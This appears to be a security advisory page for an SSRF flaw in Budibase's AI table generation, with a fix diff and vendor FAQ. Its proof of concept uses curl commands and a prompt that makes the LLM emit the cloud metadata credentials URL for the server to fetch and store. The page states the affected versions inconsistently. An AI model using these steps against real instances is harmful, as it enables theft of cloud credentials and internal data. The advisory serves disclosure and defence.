Summary
Budibase: SSRF via bare fetch() in uploadUrl during AI table generation
Budibase: SSRF via bare fetch() in uploadUrl during AI table generation
The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).
A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.
This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.
Affected Versions
<= 3.39.0 (current lerna.json version at time of analysis)
Vulnerability Details
Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check
// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
const res = await fetch(url) // No blacklist validation
This is called from:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
entry: Record<string, any>,
attachmentColumns: FieldSchema[]
) {
function processAttachment(value: any) {
if (typeof value === "object") {
return uploadFile(value)
}
return uploadUrl(value) // String values treated as URLs, fetched without protection
}
Which is triggered via generateRows() at line 34:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
await processAttachments(entry, attachmentColumns)
Compare with correct sibling: processUrlFile() in extract.ts
// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
fileUrl: string,
fileType: SupportedFileType,
llm: LLMResponse
): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist
The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:
// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
url: string,
request: RequestInit = {}
): Promise<Response> {
const maxRedirects = 5
let nextUrl = url
// ...
for (let redirects = 0; redirects <= maxRedirects; redirects++) {
await throwIfBlacklisted(nextUrl) // Validates against private IP ranges
const response = await fetch(nextUrl, nextRequest)
Proof of Concept
Prerequisites: Builder-level authentication, AI feature enabled on the instance.
# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"password123"}' \
-c - | grep budibase:auth | awk '{print $NF}')
# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx" # Use existing app
# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
-H "Content-Type: application/json" \
-H "Cookie: budibase:auth=$TOKEN" \
-d '{
"prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}'
# The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# which fetches the cloud metadata endpoint without any SSRF protection.
# The response content is saved to object storage and a URL is returned in the row data.
# Step 4: Read the created row to exfiltrate the metadata response
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
-H "Cookie: budibase:auth=$TOKEN"
# The attachment URL in the response points to the saved metadata content
Suggested Remediation
Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():
// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"
import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"
// ...
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
- const res = await fetch(url)
+ const res = await fetchWithBlacklist(url)
const extension = [...res.url.split(".")].pop()!.split("?")[0]
Impact
- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
- Internal service enumeration and data exfiltration from private network resources
- Port scanning of internal infrastructure via timing/error differences
- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-HFHX-W8P8-4HC7? GHSA-HFHX-W8P8-4HC7 is a medium-severity server-side request forgery (SSRF) vulnerability in @budibase/server (npm), affecting versions <= 3.38.1. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of @budibase/server are affected by GHSA-HFHX-W8P8-4HC7? @budibase/server (npm) versions <= 3.38.1 is affected.
- Is there a fix for GHSA-HFHX-W8P8-4HC7? No fixed version is listed for GHSA-HFHX-W8P8-4HC7 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-HFHX-W8P8-4HC7 exploitable, and should I be worried? Whether GHSA-HFHX-W8P8-4HC7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-HFHX-W8P8-4HC7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-HFHX-W8P8-4HC7? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.